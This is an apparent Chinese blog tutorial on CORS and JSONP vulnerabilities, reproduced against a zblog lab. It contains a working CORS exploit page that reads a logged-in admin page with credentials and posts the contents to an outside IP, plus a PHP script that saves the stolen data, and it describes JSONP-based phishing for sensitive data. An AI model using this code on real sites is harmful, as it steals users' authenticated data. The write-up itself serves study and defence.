首页 > 其他分享 >CORS与JSONP漏洞原理及其复现

CORS与JSONP漏洞原理及其复现

时间:2024-08-09 19:54:59浏览次数:8  
标签:Web xhr1 跨域 CORS cors 复现 JSONP

文章目录


在现代Web开发中,跨域资源共享(CORS)和JSONP是两种重要的跨域通信技术。CORS通过设置HTTP头来控制资源共享,而JSONP则利用了

本文将深入探讨CORS和JSONP的工作机制,展示如何在实际环境中应用和复现这些技术,并提供相应的安全注意事项。无论你是Web开发的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一起揭开CORS和JSONP的神秘面纱,提升我们的Web开发能力。

CORS跨域共享

  1. 介绍
    1. CORS全称Cross-Origin Resource Sharing,跨域资源共享,是HTML5的一个新特性,已被 所有浏览器支持,跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据。
  2. 同源策略配置
    1. Access-Control-Allow-Origin: 指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。
    2. Access-Control-Allow-Credentials: 指定浏览器是否将使用请求发送cookie。仅当allow—credentials标头设置为true时,才会发送Cookie。
    3. Access-Control-Allow-Methods: 指定可以使用哪些HTTP请求方法(GET, PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。
  3. 产生条件
    1. 错误的来源配置

      • 使用通配符 * 允许任何来源访问。
      • 允许不可信的来源。
    2. 凭证配置不当

      • Access-Control-Allow-Credentials 设置为 true,但没有验证请求来源。
    3. 不安全的HTTP方法

      • 允许不必要的HTTP方法(如 PUTDELETE),增加攻击面。
  4. 复现
    1. 靶场:zblog

    2. 过程

      1. 在服务端和本地分别部署两个文件用于构造钓鱼页面与接受数据来对比cors漏洞

        cors.html
        <!DOCTYPE>
        <html>
        <h1>cors exploit</h1>
        <script type="text/javascript">
        function exploit()
        {
            var xhr1;
            var xhr2;
            if(window.XMLHttpRequest)
            {
                xhr1 = new XMLHttpRequest();
                xhr2 = new XMLHttpRequest();
            }
            else
            {
                xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
                xhr2= new ActiveXObject("Microsoft.XMLHTTP");
            }
            xhr1.onreadystatechange=function()
            {
                if(xhr1.readyState == 4 && xhr1.status == 200) 
                {
                    var datas=xhr1.responseText;
                    xhr2.open("POST","http://43.139.186.80/cors1.php","true");
                    xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                    xhr2.send("z0="+escape(datas));    
                }
            }
            xhr1.open("GET","http://localhost:80/zblog/zb_system/admin/index.php","true") 
            xhr1.withCredentials = true;      
            xhr1.send();
        }
        exploit();
        </script>
        </html>
        
        ---------------------------------------------------------------------------------------------------------------------
        cors1.php
        <?php
        $file = fopen("secrect.html", "w+");
        $res = $_POST['z0'];
        fwrite($file, $res);
        fclose($res);
        ?>
        
      2. 分别访问43.139.186.80/cors.html和127.0.0.1/cors.html得到结果如下

      3. 上述结果可以是因为服务端值容许本地的来源,如果使用通配符 * 允许任何来源访问,那将是完整的cors漏洞

  5. 自动化爆破工具
    1. CORScanner

      1. 工具更能爆破子域名
    2. 使用方法

      1.  python cors_scan.py -i top_100_domains.txt -t 100
         //将top_100_domains.txt的所有域名的子域名爆破出来
        

JSONP跨域回调

  1. 介绍
    1. JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。
  2. 复现
    1. 以虎牙为例,右键监听网络数据包

    2. 搜索callback找到了一张图片

    3. 虽然不是敏感文件,但是可以作为示例,查找别的网站,如果存在敏感数据,这可用于钓鱼获取这些数据

  3. 自动审查工具
    1. 安装教程
      1. 导入jython的jar包

      2. 添加py文件,启动即可

    2. 使用教程
      1. 打开扩展页面之后,不断游览网址即可

通过本文的学习,我们不仅深入了解了CORS和JSONP的原理,还掌握了如何在实际项目中应用这些技术解决跨域问题。在使用这些技术时,安全性仍需放在首位。通过对CORS和JSONP的全面剖析,我们能够更好地设计和实现安全的跨域通信,保护我们的应用免受潜在威胁。

在Web开发的道路上,我们每个人都有责任和义务不断提升自己的技术水平和安全意识。希望本文能为你在Web开发和安全防护方面提供有价值的指导和帮助,激发你对Web技术的持续关注和兴趣。让我们共同努力,构建一个更为安全和高效的Web环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!

标签:Web,xhr1,跨域,CORS,cors,复现,JSONP
From: https://blog.csdn.net/2301_80064376/article/details/141026836

相关文章

  • 易捷OA协同办公系统 ShowPic接口任意文件读取漏洞复现 [附POC]
    文章目录易捷OA协同办公系统ShowPic接口任意文件读取漏洞复现[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.复现易捷OA协同办公系统ShowPic接口任意文件读取漏洞复现[附POC]0x01前言免责......
  • 万户OA ezOFFICE graph_include.jsp接口SQL注入漏洞复现 [附POC]
    文章目录万户OAezOFFICEgraph_include.jsp接口SQL注入漏洞复现[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.复现0x06修复建议万户OAezOFFICEgraph_include.jsp接口SQL注入漏洞复现[附P......
  • 泛微E-office 10 schema_mysql接口敏感信息泄露漏洞复现 [附POC]
    文章目录泛微E-office10schema_mysql接口敏感信息泄露漏洞复现[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.复现泛微E-office10schema_mysql接口敏感信息泄露漏洞复现[附POC]0x01前言......
  • 数据库安全-ElasticSearch漏洞复现
    CVE-2014-3120命令执行漏洞一、漏洞详情老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。MVEL执行命令代码:importjava.io.*;newjava.util.Scanner(Runtime.getRuntime().exec("whoami").getIn......
  • 如何在 Flask 中启用 CORS
    我正在尝试使用jquery发出跨源请求,但它一直被拒绝并显示消息XMLHttpRequest无法加载http://...No'Access-Control-Allow-Origin'标头存在于所请求的资源上。起源...因此不允许访问。我正在使用flask、heroku和jquery客户端代码如下所示:$(documen......
  • 【漏洞复现】致远OA多个任意文件上传批量检测验证
    目录 wpsAssistServlet任意文件上传》》》漏洞描述《《《》》》影响范围《《《》》》环境搭建《《《》》》漏洞复现《《《ajax.do任意文件上传CNVD-2021-01627漏洞》》》漏洞描述《《《》》》影响范围《《《》》》漏洞复现《《《A6htmlofficeservlet任意文件上......
  • 【漏洞复现】某赛通电子文档安全管理系统 PolicyAjax SQL注入漏洞
    0x01产品简介某赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智能加密等多种加密......
  • 传知代码-动态键值记忆网络解决知识追踪(论文复现)
    代码以及视频讲解本文所涉及所有资源均在传知代码平台可获取1.论文概述复现论文:DynamicKey-ValueMemoryNetworksforKnowledgeTracing(DKVMN)知识追踪(KT)是追踪学生在一系列学习活动中知识状态演变的任务。其目的是个性化地指导学生的学习,帮助他们高效地掌握知识概......
  • CORS跨域漏洞修复
    原文链接: https://www.cnblogs.com/wenyoudo/p/14862701.html漏洞介绍概述:CORS,跨域资源共享(Cross-originresourcesharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象......
  • 【创新、复现】基于蜣螂优化算法的无线传感器网络覆盖优化研究(Matlab代码实现)
    ......